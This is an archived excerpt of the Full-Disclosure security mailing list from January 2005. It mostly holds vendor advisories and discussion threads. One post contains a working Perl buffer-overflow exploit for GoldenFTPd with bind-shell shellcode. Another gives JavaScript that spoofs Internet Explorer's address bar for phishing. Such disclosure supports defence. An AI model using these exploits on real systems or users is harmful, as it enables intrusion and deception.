> Charter: http://lists.netsys.com/full-disclosure-charter.html


From barbsie at gmail.com  Sat Jan 22 10:45:22 2005
From: barbsie at gmail.com (barabas mutsonline)
Date: Sat, 22 Jan 2005 11:45:22 +0100
Subject: [Full-Disclosure] several BO's in goldenftpd
Message-ID: <981281b1050122024581d9cef@mail.gmail.com>

For the millions that use this ftp server:
http://www.goldenftpserver.com/


It has numerous cool features, like no authentication whatsoever,
typos in error messages, buffer overflows etc...
I just opened it up when my dog jumped on the keyboard and
accidentally send a specially crafted packet to localhost and..BAM...a
shell on port 4444.
Luckily I had ethereal running and here it is:
Oh yeah, vendor notified and fixed it (hopefully, didnt check)


#!/usr/bin/perl -w
# Barabas - www.whitehat.co.il -
# cheers to muts and all peeps at WH.
# XPSP2 goldenftpserver sploit - bind 4444

use strict;
use Net::FTP;
my $payload="\x41"x260;
$payload .="\x65\x82\xa5\x7c";#jmpesp
$payload .="\x90"x32;#not really necessary...blah
# win32_bind -  EXITFUNC=seh LPORT=4444 Size=321 Encoder=None
http://metasploit.com
$payload .="\xfc\x6a\xeb\x4f\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\xe3".
"\x30\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1".
"\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe3\x8b\x5f\x24\x01".
"\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24".
"\x1c\x61\xc3\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x70\x1c\xad".
"\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x31\xdb\x66\x53".
"\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc".
"\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff".
"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53".
"\x43\x53\xff\xd0\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a".
"\x70\xc7\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9".
"\x57\xff\xd6\x53\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50".
"\x54\x54\x55\xff\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff".
"\xd0\x66\x6a\x64\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89".
"\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93".
"\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6".
"\x5b\x57\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad".
"\xd9\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83".
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff".
"\xd0";


my $ftp = Net::FTP->new("127.0.0.1", Debug => 1);
$ftp->login("ftp","ftp");
$ftp->quot("RNTO",$payload);


From ereed at novell.com  Fri Jan 21 19:37:51 2005
From: ereed at novell.com (Ed Reed)
Date: Fri, 21 Jan 2005 12:37:51 -0700
Subject: [Full-Disclosure] NOVL-2005-10096251 GroupWise WebAccess error
	handling modules (report)
Message-ID: <s1f0f7af.001@sinclair.provo.novell.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

For Immediate Disclosure

============================== Summary ==============================

 Security Alert: NOVL-2005-10096251
          Title: GroupWise WebAccess Error modules loading (report)
           Date: 21-January-2005
       Revision: Original
   Product Name: GroupWise 6.5, GroupWise 6.5 WebAccess
 OS/Platform(s): NetWare, Windows, Linux
  Reference URL: http://support.novell.com/servlet/tidfinder/10096251 
    Vendor Name: Novell, Inc. 
     Vendor URL: http://www.novell.com 
Security Alerts: http://support.novell.com/security-alerts 
        Affects: login.htt, about.htt
    Identifiers: BugTraq 387566 - 
                 http://www.securityfocus.com/archive/1/387566 
        Credits: Marc Ruef <maru scip ch>, but thanks, too, to 
                 Pete Connolly <pete connolly btinternet com> for
                      actually notifying Novell's security team

============================ Description ============================

By specifying a query string (?error=<value>, or ?merge=<value>) on 
the WebAccess login URL (for example
http://webacc.company.com/servlet/webacc?merge=about), an
unauthenticated user is able get read-only access to various public 
templates and informational files, including the "about" page for 
the WebAccess server which includes the version of GroupWise that 
is installed.

============================== Impact ===============================

The server is not granting access to private files, and no files can 
be modified through this attack. The "about" page which contains the 
version of the GroupWise software installed is available, however, it 
is not considered restricted information, since this same information 
is available on the normal login URL page.

Customers that are concerned about the version information being made 
public can edit login.htt and about.htt template files to remove this 
information. These templates are located in the following 
default locations:

NetWare - 
sys:\tomcat\4\webapps\ROOT\WEB-INF\classes\com\novell\webaccess\templates\frames

Linux - 
/var/opt/novell/gw/WEB-INF/classes/com/novell/webaccess/templates/frames

Windows - 
C:\NOVELL\JAVA\SERVLETS\COM\NOVELL\WEBACCESS\TEMPLATES\FRAMES

Remove line 313 in login.htt and line 37 in about.htt.

Additionally, Novell will be making changes in the next update of 
GroupWise, version 6.5.4, to address these issues. The changes will 
be to ignore any query string parameters if the user is not 
authenticated.

Q. What files do non-authenticated users have access to? 
A. Read only access to template files are allowed, which are stored 
in a public directory on the server, as well as a version file, 
which contains the version of the GroupWise software that is 
installed. There is no security risk in displaying the template 
files without data--the template files themselves do not contain 
confidential information. For the GroupWise 6.5.4 release, this will 
be addressed so that no unauthenticated users will be able to access 
any information other than the login page.

Q. What query strings expose this behavior? 
A. The "error" query string and the "merge" query string can be used 
to access read-only versions of the WebAccess templates and the 
"about" information for the server. Note that there is no user data 
in these templates since the user is not authenticated. The merge 
query string works in the following way: when a user is logged in, 
actions that return data are performed. The resulting data is merged 
into the template specified by "merge" (or "error" if an error 
condition occurred) to produce useable output for the authenticated 
user. In the case where there is no authentication, there is no data 
to merge into the template. Authentication is not bypassed and there 
is no generic or "ghost" user logged in.

Q. What information or access is inappropriately divulged to 
unauthenticated users? 
A. This approach offers no means for accessing restricted files on 
the server. If the version information about the server is deemed 
restricted, the administrator can edit the about.htt and login.htt 
template files to remove this information. These templates are 
located at template\frames on an installed WebAccess server.

Q. Is there any way for an attacker to write data into the server 
through this method? 
A. The approach outlined provides no mechanism for modifying data 
or files on the server.

Q. Is it possible to use HTML injection to carry out a social 
engineering attack? 
A. This supposition is false as the attack described has no ability 
to modify data or files on the server in order to inject malicious 
code into WebAccess pages.



======================== Recommended Actions ========================

See detailed instructions in the referenced Technical Information 
Document (TID) http://support.novell.com/servlet/tidfinder/10096251 

============================ DISCLAIMER =============================

The content of this document is believed to be accurate at the time 
of publishing based on currently available information. However, the 
information is provided "AS IS" without any warranty or 
representation. Your use of the document constitutes acceptance of 
this disclaimer. Novell disclaims all warranties, express or implied, 
regarding this document, including the warranties of merchantability 
and fitness for a particular purpose. Novell is not liable for any 
direct, indirect, or consequential loss or damage arising from use 
of, or reliance on, this document or any security alert, even if 
Novell has been advised of the possibility of such damages and even 
if such damages are foreseeable.

============================ Appendices =============================

None

================ Contacting Novell Security Alerts ==================

To report suspected security vulnerabilities in Novell products, 
send email to
            secure at novell.com 

PGP users may send signed/encrypted information to us using our PGP 
key, available from the pgpkeys.mit.edu server, or our website at: 

            http://support.novell.com/security-alerts 


Novell Security Alerts, Novell, Inc. <secure at novell.com>
PGP Key Fingerprint:

3C6B 3F26 4E34 1ADF E27B  D6C4 1AC8 9184 34D1 9739 (revised)

========================= Revision History ==========================
       Original: 21-Jan-2005 - Original Publication
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB8U9JGsiRhDTRlzkRAj9xAJoCdB/5gaMtYh3vre9uDls76KsnngCg7PXz
AiVCn6GGHz4krUdAcgQkgrs=
=Hfuz
-----END PGP SIGNATURE-----



From ggl at free.fr  Sat Jan 22 15:01:29 2005
From: ggl at free.fr (Greg Leclercq)
Date: Sat, 22 Jan 2005 16:01:29 +0100
Subject: [Full-Disclosure] Packet/Signature-based Firewall
In-Reply-To: <41F1EC07.4080501@yahoo.com.sg>
References: <41F1EC07.4080501@yahoo.com.sg>
Message-ID: <1106406089.14716.537.camel@kombucha>

> I was wondering are there any Budget/OpenSource signature-based firewall 
> around like the one Packeteer has? (packetshaper)

If you want to make a linux-based solution, you can use Linux netfilter
+ l7-filter: http://l7-filter.sourceforge.net/. Check also p-o-m on
http://www.netfilter.org for additionnal features.
-- 
Greg Leclercq



From naverxp at yahoo.com.sg  Sat Jan 22 16:36:51 2005
From: naverxp at yahoo.com.sg (John)
Date: Sun, 23 Jan 2005 00:36:51 +0800
Subject: [Full-Disclosure] Packet/Signature-based Firewall
In-Reply-To: <1106406089.14716.537.camel@kombucha>
References: <41F1EC07.4080501@yahoo.com.sg>
	<1106406089.14716.537.camel@kombucha>
Message-ID: <41F28123.6060904@yahoo.com.sg>

The l7-filter isn't working.

What is pom?

>>I was wondering are there any Budget/OpenSource signature-based firewall 
>>around like the one Packeteer has? (packetshaper)
>>    
>>
>
>If you want to make a linux-based solution, you can use Linux netfilter
>+ l7-filter: http://l7-filter.sourceforge.net/. Check also p-o-m on
>http://www.netfilter.org for additionnal features.
>  
>




From ggl at free.fr  Sat Jan 22 17:11:27 2005
From: ggl at free.fr (Greg Leclercq)
Date: Sat, 22 Jan 2005 18:11:27 +0100
Subject: [Full-Disclosure] Packet/Signature-based Firewall
In-Reply-To: <41F28123.6060904@yahoo.com.sg>
References: <41F1EC07.4080501@yahoo.com.sg>
	<1106406089.14716.537.camel@kombucha> <41F28123.6060904@yahoo.com.sg>
Message-ID: <1106413887.14716.547.camel@kombucha>

> The l7-filter isn't working.

What do you mean by 'not working' ?

> What is pom?

P-o-m is Patch O Matic. It provides additionnal features by patching
netfilter.

I'm not sure I understand what you want.

Is 'signature-based firewall' an IPS (Intrusion Prevention System) for
you ? Or is it a firewall which recognizes protocols signatures ?

-- 
Greg Leclercq



From naverxp at yahoo.com.sg  Sat Jan 22 18:54:34 2005
From: naverxp at yahoo.com.sg (John)
Date: Sun, 23 Jan 2005 02:54:34 +0800
Subject: [Full-Disclosure] Packet/Signature-based Firewall
In-Reply-To: <1106413887.14716.547.camel@kombucha>
References: <41F1EC07.4080501@yahoo.com.sg>	
	<1106406089.14716.537.camel@kombucha>
	<41F28123.6060904@yahoo.com.sg>
	<1106413887.14716.547.camel@kombucha>
Message-ID: <41F2A16A.6020501@yahoo.com.sg>

Greg Leclercq wrote:

>>The l7-filter isn't working.
>>    
>>
>
>What do you mean by 'not working' ?
>
>  
>
>>What is pom?
>>    
>>
>
>P-o-m is Patch O Matic. It provides additionnal features by patching
>netfilter.
>
>I'm not sure I understand what you want.
>
>Is 'signature-based firewall' an IPS (Intrusion Prevention System) for
>you ? Or is it a firewall which recognizes protocols signatures ?
>  
>

A firewall that recognises protocol signatures.




From martin.pitt at canonical.com  Sat Jan 22 22:30:10 2005
From: martin.pitt at canonical.com (Martin Pitt)
Date: Sat, 22 Jan 2005 23:30:10 +0100
Subject: [sb] [Full-Disclosure] [USN-65-1] Apache utility script vulnerability
Message-ID: <000001c500d1$eeec5e00$0100a8c0@hubercomp.local>

===========================================================
Ubuntu Security Notice USN-65-1		   January 19, 2005
apache vulnerabilities
http://bugs.debian.org/290974
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

apache-utils

The problem can be corrected by upgrading the affected package to
version 1.3.31-6ubuntu0.4. In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

Javier Fern?ndez-Sanguino Pe?a noticed that the "check_forensic"
script created temporary files in an insecure manner. This could
allow a symbolic link attack to create or overwrite arbitrary files
with the privileges of the user invoking the program.

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache_1.3.31-6ubuntu0.4.diff.gz
      Size/MD5:   369655 7ec465eece404f6ddd1d45a8292b1fe6
    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache_1.3.31-6ubuntu0.4.dsc
      Size/MD5:     1102 9165d920ac5f269f5abf886ee392613c
    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache_1.3.31.orig.tar.gz
      Size/MD5:  3104170 ca475fbb40087eb157ec51334f260d1b

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-dev_1.3.31-6ubuntu0.4_all.deb
      Size/MD5:   329424 f05e89912051a57e3a0f4b439d813bcf
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-doc_1.3.31-6ubuntu0.4_all.deb
      Size/MD5:  1186432 b7490f2099b1bd5b512cb2dba9fc3fcf

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-common_1.3.31-6ubuntu0.4_amd64.deb
      Size/MD5:   873090 4de4ad38fa7021c3666349134f3f3939
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-dbg_1.3.31-6ubuntu0.4_amd64.deb
      Size/MD5:  9131010 8dfb8f02f5cd07223069a08c3156a015
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-perl_1.3.31-6ubuntu0.4_amd64.deb
      Size/MD5:   520354 81033c5317f6d50b69a796df54f56f90
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-ssl_1.3.31-6ubuntu0.4_amd64.deb
      Size/MD5:   510288 f986a142140d051b3d2590e7add86a54
    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-utils_1.3.31-6ubuntu0.4_amd64.deb
      Size/MD5:   271078 bcb58f9b5a102f4109a0e6bd7b80a1c1
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache_1.3.31-6ubuntu0.4_amd64.deb
      Size/MD5:   397916 6f039537fd6365bd5627a6004f445e45
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/libapache-mod-perl_1.29.0.2-14ubuntu0.1_amd64.deb
      Size/MD5:   491306 86f3c435f888d78e6a03456af0eb7101

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-common_1.3.31-6ubuntu0.4_i386.deb
      Size/MD5:   838326 6e8c39afade6e140502592602c180f81
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-dbg_1.3.31-6ubuntu0.4_i386.deb
      Size/MD5:  9080282 3555a952ded8b3370691d8585163587a
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-perl_1.3.31-6ubuntu0.4_i386.deb
      Size/MD5:   494050 62489a77ba210430b8803aea05be968c
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-ssl_1.3.31-6ubuntu0.4_i386.deb
      Size/MD5:   483720 5cc3c2014e2b30b1a0906c2748d6bef3
    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-utils_1.3.31-6ubuntu0.4_i386.deb
      Size/MD5:   264974 65e6aed85dd4ac7c1485f8eae951788f
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache_1.3.31-6ubuntu0.4_i386.deb
      Size/MD5:   377152 55d3b656566987d140d2677d1c0de61c
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/libapache-mod-perl_1.29.0.2-14ubuntu0.1_i386.deb
      Size/MD5:   484640 da71290705c6f6f6faf1d6dc254bf4a6

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-common_1.3.31-6ubuntu0.4_powerpc.deb
      Size/MD5:   917362 652d1cd08236a6557e44d87b67e4dd16
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-dbg_1.3.31-6ubuntu0.4_powerpc.deb
      Size/MD5:  9225702 033e91323439c25a000b604423d71d46
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-perl_1.3.31-6ubuntu0.4_powerpc.deb
      Size/MD5:   511036 e66e2283e7a70758989198fbf9ebb613
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-ssl_1.3.31-6ubuntu0.4_powerpc.deb
      Size/MD5:   506852 a8bd4a1633e5d6c8ba51d01134fee992
    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-utils_1.3.31-6ubuntu0.4_powerpc.deb
      Size/MD5:   278286 b25fd9ebbeeafeeb3867828251218d08
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache_1.3.31-6ubuntu0.4_powerpc.deb
      Size/MD5:   395396 4eafd593de2508a0c574929718476320
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/libapache-mod-perl_1.29.0.2-14ubuntu0.1_powerpc.deb
      Size/MD5:   488664 74541bd75de68e04a43cf61c3c7a276f
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050122/575dfcb8/attachment.bin 
-------------- next part --------------
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

From skylined at edup.tudelft.nl  Sun Jan 23 05:38:38 2005
From: skylined at edup.tudelft.nl (Berend-Jan Wever)
Date: Sun, 23 Jan 2005 06:38:38 +0100
Subject: [Full-Disclosure] Re: Internet Explorer URL obfuscation.
References: <C7D74C4D7FA74944ADD6FCFED7E79CD40689D0FE@EXCH-VS-AC1.EXCHPROD.USA.NET>
Message-ID: <004c01c5010d$cc5dd030$0100a8c0@grotedoos>

Migitating factors:
- You can only show a page you do not control as coming from a location you control, might as well use frames for that.
- Links on the targetted site still work as normal.
- Doesn't seem to allow cross-site scripting, which would make it a vulnerability.
- An alert window might attract more attention then you'd want: IE seems to forget to update the address-bar as soon as any other window is opened at the same time, be it a javascript error message, an alert(), a confirm() or a showModalDialog()... The cool thing about ModalDialogs is that you can close them automatically:
<html>
    <script language="Javascript">
        function page_load(){
            document.location.href='http://www.google.com';
            window.showModalDialog('javascript:setTimeout("window.close()", 10);');
        }
    </script>
    <body>
        <form>
            <input type="submit" value="Update" name="patch_update" onClick="page_load()">
        </form>
    </body>
</html>
Above code should do the same as Graeme Stewart's origional code but the window needed to obfuscate the URL is closed as soon as the targetted site is opened... use showModalDialog()-parameters to make this even more stealhy.

Anyway, doesn't look like a big problem so far, but it might prove to have more potential: I did manage to crash IE with a NULL pointer once or twice while testing, unfortunately I wasn't able to reproduce that :(

Cheers,

Berend-Jan Wever <skylined at edup.tudelft.nl>
TTP: http://www.edup.tudelft.nl/~bjwever
MSN: skylined at edup.tudelft.nl
IRC: SkyLined in #SkyLined on EFNET
PGP: key ID 0x48479882

----- Original Message ----- 
From: "Stewart, Graeme" <gstewart at firstrepublic.com>
To: <bugtraq at securityfocus.com>
Sent: Saturday, January 22, 2005 02:08
Subject: Internet Explorer URL obfuscation.


> All,
> 
> The following (very simple!) code calls a URL in the browser window but
> fails to update the address bar in IE. Looks like the form submission is
> suspended with the interrupt of the 'window.alert' call. IE then fails
> to correctly handle.
> 
> Might be helpful in facilitating phishing style attacks. Assuming you
> can spoof the original location.
> 
> I'm running windows XP SP2 with all the latest patches. It works
> correctly in FireFox (i.e. the address bar does update).
> 
> Not sure if this really is a vulnerability, but would appreciate any
> thoughts.
> 
> Thanks,
> 
> Graeme Stewart
> 
> --snip---
> 
> <html>
> <script language="Javascript">
> function page_load(){
>     document.location.href='http://www.google.com/';
>     window.alert('Incorrect URL');
> }
> </script>
> <body>
> <form>
> <input type="submit" value="Update" name="patch_update"
> onClick="page_load()">
> </form>
> </body>
> </html>
> 
> --snip---
> 
> P.S My apologies if this is a known vuln. I did do some searching (i.e.
> Google!, but nothing similar came up).
> 
> 
> -----------------------------------------------------------------------
> The information transmitted is intended only for the person  or  entity 
> to which it is addressed and may contain confidential and/or privileged 
> material. Any review, retransmission, dissemination or other use of, or 
> taking of any action in reliance upon, this information  by persons  or 
> entities other than  the  intended  recipient  is  prohibited.  If  you 
> received this in error,  please  contact  the  sender  and  delete  the 
> material from any computer.
> 
> 





From uberguidoz at gmail.com  Sun Jan 23 11:18:17 2005
From: uberguidoz at gmail.com (GuidoZ)
Date: Sun, 23 Jan 2005 03:18:17 -0800
Subject: [Full-Disclosure] The UPC packer
In-Reply-To: <bc12db5e0501181907b9577bb@mail.gmail.com>
References: <bc12db5e0501181907b9577bb@mail.gmail.com>
Message-ID: <b7bc1b1f0501230318727a752@mail.gmail.com>

> Anybody knows about this UPC Win32 packer or where to find it? I've
> searched the info highway and ended up to Swizzor.
> [...]
> It really is UPC not UPX. Try searching google with "swizzor UPC"

Well, I found "UPC v1.11 - Executables Unpacker" here:
 - http://sac-ftp.externet.hu/pack21.html

Also look here near the bottom under "Useful Stuff" - it's mentioned:
 - http://lakoma.tu-cottbus.de/~herinmi/LINKS.HTM

Also scattered mentions of UPC compression here:
 - http://www.unet.univie.ac.at/~a9606653/gettyp/gt.htm

Beyond that, I'm not coming up with much. Well, besides the obvious
UPX of course... it's possible that the AV company made a typo. I saw
one on the Upx-it page - they referred to their own product as Upc-it
once. =)

--
Peace. ~G


On Wed, 19 Jan 2005 11:07:38 +0800, Juan dela Cruz <3xp101t at gmail.com> wrote:
> Anybody knows about this UPC Win32 packer or where to find it? I've
> searched the info highway and ended up to Swizzor.
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html


From koon at gentoo.org  Sun Jan 23 12:14:41 2005
From: koon at gentoo.org (Thierry Carrez)
Date: Sun, 23 Jan 2005 13:14:41 +0100
Subject: [Full-Disclosure] [ GLSA 200501-31 ] teTeX, pTeX,
	CSTeX: Multiple vulnerabilities
Message-ID: <41F39531.8060700@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-31
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: teTeX, pTeX, CSTeX: Multiple vulnerabilities
      Date: January 23, 2005
      Bugs: #75801
        ID: 200501-31

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

teTeX, pTeX and CSTeX make use of vulnerable Xpdf code which may allow
the remote execution of arbitrary code. Furthermore, the xdvizilla
script is vulnerable to temporary file handling issues.

Background
==========

teTeX is a complete and open source TeX distribution. CSTeX is another
TeX distribution including Czech and Slovak support. pTeX is another
alternative that allows Japanese publishing with TeX. xdvizilla is an
auxiliary script used to integrate DVI file viewing in Mozilla-based
browsers.

Affected packages
=================

    -------------------------------------------------------------------
     Package           /  Vulnerable  /                     Unaffected
    -------------------------------------------------------------------
  1  app-text/tetex       < 2.0.2-r5                       >= 2.0.2-r5
  2  app-text/cstetex     < 2.0.2-r1                       >= 2.0.2-r1
  3  app-text/ptex        < 3.1.4-r2                       >= 3.1.4-r2
    -------------------------------------------------------------------
     3 affected packages on all of their supported architectures.
    -------------------------------------------------------------------

Description
===========

teTeX, pTeX and CSTeX all make use of Xpdf code and may therefore be
vulnerable to the various overflows that were discovered in Xpdf code
(CAN-2004-0888, CAN-2004-0889, CAN-2004-1125 and CAN-2005-0064).
Furthermore, Javier Fernandez-Sanguino Pena discovered that the
xdvizilla script does not handle temporary files correctly.

Impact
======

An attacker could design a malicious input file which, when processed
using one of the TeX distributions, could lead to the execution of
arbitrary code. Furthermore, a local attacker could create symbolic
links in the temporary files directory, pointing to a valid file
somewhere on the filesystem. When xdvizilla is called, this would
result in the file being overwritten with the rights of the user
running the script.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All teTeX users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=app-text/tetex-2.0.2-r5"

All CSTeX users should also upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=app-text/cstetex-2.0.2-r1"

Finally, all pTeX users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=app-text/ptex-3.1.4-r2"

References
==========

  [ 1 ] CAN-2004-0888
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0888
  [ 2 ] CAN-2004-0889
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0889
  [ 3 ] CAN-2004-1125
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1125
  [ 4 ] CAN-2005-0064
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-31.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 256 bytes
Desc: OpenPGP digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050123/e53a0732/attachment.bin 

From jaervosz at gentoo.org  Sun Jan 23 13:35:09 2005
From: jaervosz at gentoo.org (Sune Kloppenborg Jeppesen)
Date: Sun, 23 Jan 2005 14:35:09 +0100
Subject: [Full-Disclosure] [ GLSA 200501-32 ] KPdf,
	KOffice: Stack overflow in included Xpdf code
Message-ID: <200501231435.19393.jaervosz@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-32
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: KPdf, KOffice: Stack overflow in included Xpdf code
      Date: January 23, 2005
      Bugs: #78619, #78620
        ID: 200501-32

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

KPdf and KOffice both include vulnerable Xpdf code to handle PDF files,
making them vulnerable to the execution of arbitrary code.

Background
==========

KPdf is a KDE-based PDF viewer included in the kdegraphics package.
KOffice is an integrated office suite for KDE.

Affected packages
=================

    -------------------------------------------------------------------
     Package               /  Vulnerable  /                 Unaffected
    -------------------------------------------------------------------
  1  app-office/koffice       < 1.3.5-r2                   >= 1.3.5-r2
  2  kde-base/kdegraphics     < 3.3.2-r2                   >= 3.3.2-r2
                                                          *>= 3.2.3-r4
    -------------------------------------------------------------------
     2 affected packages on all of their supported architectures.
    -------------------------------------------------------------------

Description
===========

KPdf and KOffice both include Xpdf code to handle PDF files. Xpdf is
vulnerable to a new stack overflow, as described in GLSA 200501-28.

Impact
======

An attacker could entice a user to open a specially-crafted PDF file,
potentially resulting in the execution of arbitrary code with the
rights of the user running the affected application.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All KPdf users should upgrade to the latest version of kdegraphics:

    # emerge --sync
    # emerge --ask --oneshot --verbose kde-base/kdegraphics

All KOffice users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose app-office/koffice

References
==========

  [ 1 ] GLSA 200501-18
        http://www.gentoo.org/security/en/glsa/glsa-200501-28.xml
  [ 2 ] CAN-2005-0064
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064
  [ 3 ] KDE Security Advisory: kpdf Buffer Overflow Vulnerability
        http://www.kde.org/info/security/advisory-20050119-1.txt
  [ 4 ] KDE Security Advisory: KOffice PDF Import Filter Vulnerability
        http://www.kde.org/info/security/advisory-20050120-1.txt

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-32.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050123/4e2e890e/attachment.bin 

From nobody at tatooine.homelinux.net  Sun Jan 23 09:45:48 2005
From: nobody at tatooine.homelinux.net (starwars)
Date: Sun, 23 Jan 2005 10:45:48 +0100 (CET)
Subject: [Full-Disclosure] Phrack is dead, long live Phrack!
Message-ID: <b4289e863b34db2813d0d0942e487568@tatooine.homelinux.net>


After several years of steady decline in the wrong hands, maybe it is too late to save Phrack. But I think we owe something back to the zine that gave us so much. Many us were drawn into computer security by Phrack, grew up along with it, and were nourished by the high quality papers of it's contributors.

The current editors of Phrack have decided to kill off Phrack for good. This is an outrage. Phrack has always purported to be for the community by the community. They have no right to kill off nearly twenty years of tradition.

Despite it's poor performance of late, Phrack still has
an unparalleled and awesome record as a technical source you can really
bite your teeth into. It's also had a major cultural impact over the
years:

"You bet your ass we're all alike... we've been spoon-fed baby food at
